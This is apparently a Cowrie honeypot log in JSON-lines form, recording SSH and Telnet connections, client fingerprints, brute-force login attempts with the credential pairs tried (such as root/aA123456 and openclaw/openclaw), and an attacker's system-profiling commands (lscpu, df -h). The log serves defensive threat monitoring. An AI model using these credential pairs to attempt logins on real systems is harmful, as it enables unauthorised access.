{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.563661Z","src_ip":"141.11.88.14","session":"0b5d11ab925b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.973885Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:43.154218Z","src_ip":"141.11.88.14","session":"0b5d11ab925b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:43.243999Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:43.247303Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:43.664649Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:43.924460Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:43.930171Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.69729471206665,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:44.035934Z","src_ip":"128.199.8.54","session":"f9e820cad89e","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:44.145558Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:44.151863Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:44.353890Z","src_ip":"141.11.88.14","session":"0b5d11ab925b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48574,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3eb7dd7aa60","protocol":"ssh","message":"New connection: 141.11.88.14:48574 (10.17.0.5:22) [session: a3eb7dd7aa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:48.937548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:49.053540Z","src_ip":"141.11.88.14","session":"a3eb7dd7aa60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:49.056872Z","src_ip":"141.11.88.14","session":"a3eb7dd7aa60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@","message":"login attempt [root/@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:50.268654Z","src_ip":"141.11.88.14","session":"a3eb7dd7aa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:51.482038Z","src_ip":"141.11.88.14","session":"a3eb7dd7aa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.1220498085022,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:52.449392Z","src_ip":"128.199.8.54","session":"560f564e1d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35148,"dst_ip":"159.203.135.109","dst_port":23,"session":"9163a3c43afd","protocol":"telnet","message":"New connection: 172.81.62.90:35148 (159.203.135.109:23) [session: 9163a3c43afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:53.542877Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48620,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d24907f4a1","protocol":"ssh","message":"New connection: 141.11.88.14:48620 (10.17.0.5:22) [session: d1d24907f4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:57.139418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:57.202792Z","src_ip":"141.11.88.14","session":"d1d24907f4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:57.287060Z","src_ip":"141.11.88.14","session":"d1d24907f4a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:57.617494Z","src_ip":"141.11.88.14","session":"d1d24907f4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:58.703968Z","src_ip":"141.11.88.14","session":"d1d24907f4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.138.45.219","src_port":39002,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f2a880bfe9f","protocol":"telnet","message":"New connection: 168.138.45.219:39002 (10.17.0.5:23) [session: 9f2a880bfe9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:04.424084Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63300,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e7042ad444e","protocol":"ssh","message":"New connection: 141.11.88.14:63300 (10.17.0.5:22) [session: 0e7042ad444e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:04.725189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:04.891334Z","src_ip":"141.11.88.14","session":"0e7042ad444e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:04.894885Z","src_ip":"141.11.88.14","session":"0e7042ad444e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:06.026784Z","src_ip":"141.11.88.14","session":"0e7042ad444e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33756,"dst_ip":"159.203.135.109","dst_port":22,"session":"859b4db30aef","protocol":"ssh","message":"New connection: 160.191.244.158:33756 (159.203.135.109:22) [session: 859b4db30aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:07.052313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:07.058825Z","src_ip":"160.191.244.158","session":"859b4db30aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:07.254414Z","src_ip":"141.11.88.14","session":"0e7042ad444e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:07.288320Z","src_ip":"160.191.244.158","session":"859b4db30aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"affiliate","password":"affiliate","message":"login attempt [affiliate/affiliate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:08.238156Z","src_ip":"160.191.244.158","session":"859b4db30aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:09.470489Z","src_ip":"160.191.244.158","session":"859b4db30aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28226,"dst_ip":"10.17.0.5","dst_port":22,"session":"705d6c1258d6","protocol":"ssh","message":"New connection: 141.11.88.14:28226 (10.17.0.5:22) [session: 705d6c1258d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:11.716630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:11.777795Z","src_ip":"141.11.88.14","session":"705d6c1258d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:11.894936Z","src_ip":"141.11.88.14","session":"705d6c1258d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jarvis","password":"jarvis","message":"login attempt [jarvis/jarvis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:12.524000Z","src_ip":"141.11.88.14","session":"705d6c1258d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:13.615708Z","src_ip":"141.11.88.14","session":"705d6c1258d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38610,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d80c5c756ab","protocol":"telnet","message":"New connection: 172.81.62.90:38610 (159.203.135.109:23) [session: 4d80c5c756ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:16.344456Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36722,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ccbcd73e28e","protocol":"telnet","message":"New connection: 172.81.62.90:36722 (159.203.135.109:23) [session: 1ccbcd73e28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:18.337408Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31096,"dst_ip":"10.17.0.5","dst_port":22,"session":"4345be1b1bde","protocol":"ssh","message":"New connection: 141.11.88.14:31096 (10.17.0.5:22) [session: 4345be1b1bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:19.171402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:19.299940Z","src_ip":"141.11.88.14","session":"4345be1b1bde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:19.303711Z","src_ip":"141.11.88.14","session":"4345be1b1bde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"12345678","message":"login attempt [anna/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:20.911662Z","src_ip":"141.11.88.14","session":"4345be1b1bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44540,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a9b95e4abc","protocol":"ssh","message":"New connection: 27.71.230.31:44540 (10.17.0.5:22) [session: 88a9b95e4abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:50:22.240489Z"}
